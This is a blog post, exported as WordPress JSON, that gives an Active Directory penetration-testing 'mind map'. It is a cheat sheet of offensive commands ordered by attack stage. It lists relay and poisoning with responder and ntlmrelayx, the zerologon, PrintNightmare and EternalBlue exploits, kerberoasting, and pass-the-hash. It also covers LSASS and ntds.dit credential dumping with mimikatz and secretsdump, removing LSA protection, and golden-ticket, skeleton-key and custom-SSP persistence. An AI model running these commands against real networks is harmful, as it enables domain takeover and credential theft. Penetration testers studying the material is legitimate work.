{"id":8724,"date":"2021-09-19T03:23:08","date_gmt":"2021-09-19T01:23:08","guid":{"rendered":"https:\/\/tajdini.net\/blog\/?p=8724"},"modified":"2021-09-19T03:53:45","modified_gmt":"2021-09-19T01:53:45","slug":"active-directory-penetration-mind-map","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/application-and-software-security\/active-directory-penetration-mind-map\/","title":{"rendered":"Active Directory Penetration Mind Map"},"content":{"rendered":"<div class=\"embed-pdf-viewer-wrapper aligncenter wp-block-embed-pdf-viewer-pdf\"><iframe loading=\"lazy\" class=\"embed-pdf-viewer\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual.pdf\" height=\"230\" width=\"500\" title=\"\"><\/iframe><\/div>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><a href=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual-1024x509.png\" alt=\"\" class=\"wp-image-8737\" width=\"768\" height=\"382\" srcset=\"https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual-1024x509.png 1024w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual-300x149.png 300w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual-768x382.png 768w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual-1536x763.png 1536w, https:\/\/tajdini.net\/blog\/wp-content\/uploads\/2021\/09\/Active-Directory-Penetration-Manual-2048x1018.png 2048w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/a><figcaption>click to see Full-Size Image<\/figcaption><\/figure><\/div>\n\n\n\n<h1 class=\"wp-block-heading\">Scan Network<\/h1>\n\n\n\n<h3 class=\"wp-block-heading\">cme smb # enumerate smb hosts<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -sP -p # ping scan<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -PN -sV &#8211;top-ports 50 &#8211;open # quick scan<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -PN &#8211;script smb-vuln* -p139,445 # search smb vuln<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -PN -sC -sV # classic scan<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -PN -sC -sV -p- # full scan<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -sU -sC -sV # udp scan<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">find AD IP<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">nmcli dev show eth0 #&nbsp;show domain name &amp; dns<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">nslookup -type=SRV _ldap._tcp.dc._msdcs.\/\/DOMAIN\/<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">zone transfert<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">dig axfr @<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">List guest access on smb share<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">enum4linux -a -u &#8220;&#8221; -p &#8220;&#8221; &amp;&amp; enum4linux -a -u &#8220;guest&#8221; -p &#8220;&#8221;<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">smbmap -u &#8220;&#8221; -p &#8220;&#8221; -P 445 -H &amp;&amp; smbmap -u &#8220;guest&#8221; -p &#8220;&#8221; -P 445 -H<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">smbclient -U &#8216;%&#8217; -L \/\/ &amp;&amp; smbclient -U &#8216;guest%&#8217; -L \/\/<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">cme smb -u &#8221; -p &#8221; # enumerate null session<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">cme smb -u &#8216;a&#8217; -p &#8221; # enumerate anonymous access<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">Enumerate ldap<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">nmap -n -sV &#8211;script &#8220;ldap* and not brute&#8221; -p 389<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">ldapsearch -x -h -s base<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">Find user list<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">enum4linux -U | grep &#8216;user:&#8217;<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">crackmapexec smb -u -p &#8221; &#8211;users<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">OSINT &#8211; enumerate username on internet<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>nmap -p 88 &#8211;script=krb5-enum-users &#8211;script-args=&#8221;krb5-enum-users.realm=&#8221;,userdb=&#8221;<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">relay\/poisoning<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">find smb not signed<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>nmap -Pn -sS -T4 &#8211;open &#8211;script smb-security-mode -p445 ADDRESS\/MASK<\/li><li>use exploit\/windows\/smb\/smb_relay<\/li><li>cme smb $hosts &#8211;gen-relay-list relay.txt<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">PetitPotam.py -d<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">responder -i eth0<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">mitm6 -d<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">zerologon<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">python3 cve-2020-1472-exploit.py<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">secretsdump.py \/\\$@ -no-pass -just-dc-user &#8220;Administrator&#8221;<br>secretsdump.py -hashes : \/Administrator@<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>python3 restorepassword.py -target-ip \/@ -hexpass<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">mayfly (@M4yFly)<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">Got one account on the domain<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Get all users<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>GetADUsers.py -all -dc-ip \/<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">enumerate SMB share<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>cme smb -u -p &#8211;shares<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">bloodhound<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>bloodhound-python -d -u -p -gc -c all<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">powerview \/ pywerview<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">kerberoasting<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get hash<ul><li>GetUserSPNs.py -request -dc-ip \/:<\/li><li>Rubeus kerberoast<\/li><\/ul><\/li><li>Get kerberoastable users<ul><li>Get-DomainUser -SPN -Properties SamAccountName, ServicePrincipalName<\/li><li>MATCH (u:User {hasspn:true}) RETURN u<\/li><li>MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]-&gt;(c)) RETURN p<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">MS14-068<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>FindSMB2UPTime.py<ul><li>rpcclient $&gt; lookupnames<br>wmic useraccount get name,sid<br>auxiliary\/admin\/kerberos\/ms14_068_kerberos_checksum<\/li><li>goldenPac.py -dc-ip \/:&#8221;@<ul><li>kerberos::ptc &#8220;&#8221;<\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">dnscmd.exe \/config \/serverlevelplugindll &lt;\\path\\to\\dll&gt; # need a dnsadmin user<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>sc \\DNSServer stop dns<br>sc \\DNSServer start dns<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">PrintNightmare<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>CVE-2021-1675.py \/:@ &#8216;\\\\\\inject.dll&#8217;<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">enum dns<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>dnstool.py -u &#8216;DOMAIN\\user&#8217; -p &#8216;password&#8217; &#8211;record &#8216;*&#8217; &#8211;action query<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Got valid username<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Password spray<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get password policy<ul><li>crackmapexec -u &#8216;user&#8217; -p &#8216;password&#8217; &#8211;pass-pol<\/li><li>enum4linx -u &#8216;username&#8217; -p &#8216;password&#8217; -P<\/li><\/ul><\/li><li>cme smb -u user.txt -p password.txt &#8211;no-bruteforce # test user=password<\/li><li>cme smb -u user.txt -p password.txt # multiple test (carrefull of lock policy)<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">ASREPRoast<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get hash<ul><li>python GetNPUsers.py \/ -usersfile -format hashcat -outputfile<\/li><li>Rubeus asreproast \/format:hashcat<\/li><\/ul><\/li><li>Get ASREPRoastable users<ul><li>Get-DomainUser -PreauthNotRequired -Properties SamAccountName<\/li><li>MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]-&gt;(c)) RETURN p<\/li><\/ul><\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Lateral move<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">pass the hash<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>psexec.py -hashes &#8220;:&#8221; @<\/li><li>wmiexec.py -hashes &#8220;:&#8221; @<\/li><li>atexec.py -hashes &#8220;:&#8221; @ &#8220;command&#8221;<\/li><li>evil-winrm -i \/ -u -H<\/li><li>xfreerdp \/u: \/d: \/pth: \/v:<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">overpass the hash \/ pass the key (PTK)<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>python getTGT.py \/ -hashes :<ul><li>export KRB5CCNAME=\/root\/impacket-examples\/domain_ticket.ccache<ul><li>python psexec.py \/@ -k -no-pass<\/li><\/ul><\/li><\/ul><\/li><li>Rubeus asktgt \/user:victim \/rc4:<ul><li>Rubeus ptt \/ticket:<\/li><li>Rubeus createnetonly \/program:C:\\Windows\\System32[cmd.exe||upnpcont.exe]<ul><li>Rubeus ptt \/luid:0xdeadbeef \/ticket:<\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Unconstrained delegation<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get tickets<ul><li>privilege::debug sekurlsa::tickets \/export sekurlsa::tickets \/export<\/li><li>Rubeus dump \/service:krbtgt \/nowrap<\/li><li>Rubeus dump \/luid:0xdeadbeef \/nowrap<\/li><\/ul><\/li><li>Get unconstrained delegation machines<ul><li>Get-NetComputer -Unconstrained<\/li><li>Get-DomainComputer -Unconstrained -Properties DnsHostName<\/li><li>MATCH (c:Computer {unconstraineddelegation:true}) RETURN c<\/li><li>MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]-&gt;(c)) RETURN p<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Constrained delegation<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get tickets<ul><li>privilege::debug sekurlsa::tickets \/export sekurlsa::tickets \/export<\/li><li>Rubeus dump \/service:krbtgt \/nowrap<\/li><li>Rubeus dump \/luid:0xdeadbeef \/nowrap<\/li><\/ul><\/li><li>Get constrained delegation machines<ul><li>Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo<\/li><li>MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]-&gt;(t)) RETURN p<\/li><li>MATCH (u:User {owned:true}), (c:Computer {name: &#8220;&#8221;}), p=shortestPath((u)-[*1..]-&gt;(c)) RETURN p<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Resource-Based Constrained Delegation<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">dcsync<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>lsadump::dcsync \/domain:htb.local \/user:krbtgt # Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">WSUSpect<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>WSUSpendu.ps1 # need compromised WSUS server<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">sccm<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>CMPivot<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">MSSQL Trusted Links<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>use exploit\/windows\/mssql\/mssql_linkcrawler<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Printers spooler service abuse<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>rpcdump.py \/:@ | grep MS-RPRN<ul><li>printerbug.py &#8216;\/:&#8217;@<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">AD acl abuse<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>aclpwn.py<ul><li>GenericAll on User<\/li><li>GenericAll on Group<\/li><li>GenericAll \/ GenericWrite \/ Write on Computer<\/li><li>WriteProperty on Group<\/li><li>Self (Self-Membership) on Group<\/li><li>WriteProperty (Self-Membership)<\/li><li>ForceChangePassword<\/li><li>WriteOwner on Group<\/li><li>GenericWrite on User<\/li><li>WriteDACL + WriteOwner<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">GPO Delegation<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">get laps passwords<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get-LAPSPasswords -DomainController -Credential \\ | Format-Table -AutoSize<\/li><li>foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">privexchange<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>python privexchange.py -ah -u -d -p<ul><li>ntlmrelayx.py -t ldap:\/\/&#8211;escalate-user<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">ADCS<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">find hash<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">crack hash<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>LM<ul><li>john &#8211;format=lm hash.txt<\/li><li>hashcat -m 3000 -a 3 hash.txt<\/li><\/ul><\/li><li>NTLM<ul><li>john &#8211;format=nt hash.txt<\/li><li>hashcat -m 1000 -a 3 hash.txt<\/li><\/ul><\/li><li>NTLMv1<ul><li>john &#8211;format=netntlm hash.txt<\/li><li>hashcat -m 5500 -a 3 hash.txt<\/li><\/ul><\/li><li>NTLMv2<ul><li>john &#8211;format=netntlmv2 hash.txt<\/li><li>hashcat -m 5600 -a 0 hash.txt rockyou.txt<\/li><\/ul><\/li><li>Kerberos 5 TGS<ul><li>john spn.txt &#8211;format=krb5tgs &#8211;wordlist=rockyou.txt<\/li><li>hashcat -m 13100 -a 0 spn.txt rockyou.txt<\/li><\/ul><\/li><li>Kerberos ASREP<ul><li>hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt<\/li><\/ul><\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">relay<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">MS08-068<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>use exploit\/windows\/smb\/smb_relay #windows200 \/ windows server2008<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">responder -I eth0 #&nbsp;disable smb &amp; http<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>ntlmrelayx.py -tf targets.txt<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">mitm6 -i eth0 -d<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>ntlmrelayx.py -6 -wh -l \/tmp -socks -debug<\/li><li>ntlmrelayx.py -6 -wh -t smb:\/\/ -l \/tmp -socks -debug<\/li><li>ntlmrelayx.py -t ldaps:\/\/ -wh &#8211;delegate-access<ul><li>getST.py -spn cifs\/ \/\\$ -impersonate<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">adcs<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>ntlmrelayx.py -t http:\/\/\/certsrv\/certfnsh.asp -debug -smb2support &#8211;adcs &#8211;template DomainController<ul><li>Rubeus.exe asktgt \/user: \/certificate: \/ptt<\/li><\/ul><\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Domain admin<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">dump ntds.dit<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>crackmapexec smb 127.0.0.1 -u -p -d &#8211;ntds<\/li><li>secretsdump.py &#8216;\/:&#8217;@<\/li><li>ntdsutil &#8220;ac i ntds&#8221; &#8220;ifm&#8221; &#8220;create full c:\\temp&#8221; q q<ul><li>secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract<\/li><\/ul><\/li><li>windows\/gather\/credentials\/domain_hashdump<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Persistance<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">net group &#8220;domain admins&#8221; myuser \/add \/domain<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">Golden ticket<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>ticketer.py -nthash -domain-sid -domain<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Silver Ticket<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">DSRM<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>PowerShell New-ItemProperty \u201cHKLM:\\System\\CurrentControlSet\\Control\\Lsa\\\u201d -Name \u201cDsrmAdminLogonBehavior\u201d -Value 2 -PropertyType DWORD<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Skeleton Key<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>mimikatz &#8220;privilege::debug&#8221; &#8220;misc::skeleton&#8221; &#8220;exit&#8221;<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Custom SSP<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>mimikatz &#8220;privilege::debug&#8221; &#8220;misc::memssp&#8221; &#8220;exit&#8221;<ul><li>C:\\Windows\\System32\\kiwissp.log<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u2026<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">Administrator access<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">get credentials<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>procdump.exe -accepteula -ma lsass.exe lsass.dmp<ul><li>mimikatz &#8220;privilege::debug&#8221; &#8220;sekurlsa::minidump lsass.dmp&#8221; &#8220;sekurlsa::logonPasswords&#8221; &#8220;exit&#8221;<\/li><\/ul><\/li><li>mimikatz &#8220;privilege::debug&#8221; &#8220;token::elevate&#8221; &#8220;sekurlsa::logonpasswords&#8221; &#8220;lsadump::sam&#8221; &#8220;exit&#8221;<\/li><li>post\/windows\/gather\/smart_hashdump<ul><li>hashdump<\/li><\/ul><\/li><li>cme smb -u -p -M lsassy<\/li><li>cme smb -u -p &#8221; &#8211;sam \/ &#8211;lsa \/ &#8211;ntds<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">LSA as a Protected Process<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>PPLdump64.exe lsass.dmp<\/li><li>mimikatz &#8220;!+&#8221; &#8220;!processprotect \/process:lsass.exe \/remove&#8221; &#8220;privilege::debug&#8221; &#8220;token::elevate&#8221; &#8220;sekurlsa::logonpasswords&#8221; &#8220;!processprotect \/process:lsass.exe&#8221; &#8220;!-&#8221; #with mimidriver.sys<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">search password files<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>findstr \/si &#8216;password&#8217; *.txt *.xml *.docx<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">search stored password<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>lazagne.exe all<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">shadow copies<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>diskshadow list shadows all<ul><li>mklink \/d c:\\shadowcopy \\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">token manipulation<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>.\\incognito.exe list_tokens -u<ul><li>.\\incognito.exe execute -c &#8220;\\&#8221; powershell.exe<\/li><\/ul><\/li><li>use incognito<ul><li>impersonate_token \\<\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">dpapi extract<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">Low hanging fruit<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">java rmi<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>exploit\/multi\/misc\/java_rmi_server<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">ms17-010<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>exploit\/windows\/smb\/ms17_010_eternalblue<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">tomcat\/jboss manager<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>auxiliary\/scanner\/http\/tomcat_enum<br>exploit\/multi\/http\/tomcat_mgr_deploy<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">java serialized port<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>ysoserial<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">vulnerable product with cve<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>searchsploit<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">MS14-025<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>use scanner\/smb\/smb_enum_gpp<\/li><li>findstr \/S \/I cpassword \\\\sysvol\\\\policies*.xml<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">database credentials<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>use admin\/mssql\/mssql_enum_sql_logins<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">proxylogon<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">proxyshell<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">Low access<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">winpeas.exe<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">search password files<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>findstr \/si &#8216;password&#8217; *.txt *.xml *.docx<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Juicy Potato \/ Lovely Potato<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">PrintSpoofer<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">RoguePotato<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">SMBGhost CVE-2020-0796<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">CVE-2021-36934 (HiveNightmare\/SeriousSAM)<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u2026<\/h3>\n\n\n\n<h2 class=\"wp-block-heading\">Trust relationship<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Child Domain to Forest Compromise &#8211; SID Hijacking<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Get-NetGroup -Domain -GroupName &#8220;Enterprise Admins&#8221; -FullData|select objectsid<ul><li>mimikatz lsadump::trust<ul><li>kerberos::golden \/user:Administrator \/krbtgt: \/domain: \/sid: \/sids: \/ptt<\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Forest to Forest Compromise &#8211; Trust Ticket<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>&#8220;lsadump::trust \/patch&#8221;<br>&#8220;lsadump::lsa \/patch&#8221;<ul><li>&#8220;kerberos::golden \/user:Administrator \/domain: \/sid:<br>\/rc4: \/service:krbtgt \/target: \/ticket:<br>&#8220;<ul><li>.\\Rubeus.exe asktgs \/ticket: \/service:&#8221;Service&#8217;s SPN&#8221; \/ptt<\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Breaking forest trust<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>printerbug or petitpotam to force the DC of the external forest to connect on a local unconstrained delegation machine. Capture TGT, inject into memory and dcsync<\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Scan Network cme smb # enumerate smb hosts nmap -sP -p # ping scan nmap -PN -sV &#8211;top-ports 50 &#8211;open # quick scan nmap -PN &#8211;script [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8746,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[220,226,229,230],"tags":[125,259,230],"class_list":["post-8724","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-application-and-software-security","category-identity-and-active-directory","category-network-and-protocol-security","category-penetration-testing","tag-active-directory","tag-network-security","tag-penetration-testing"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8724","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=8724"}],"version-history":[{"count":14,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8724\/revisions"}],"predecessor-version":[{"id":8754,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8724\/revisions\/8754"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/8746"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=8724"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=8724"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=8724"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}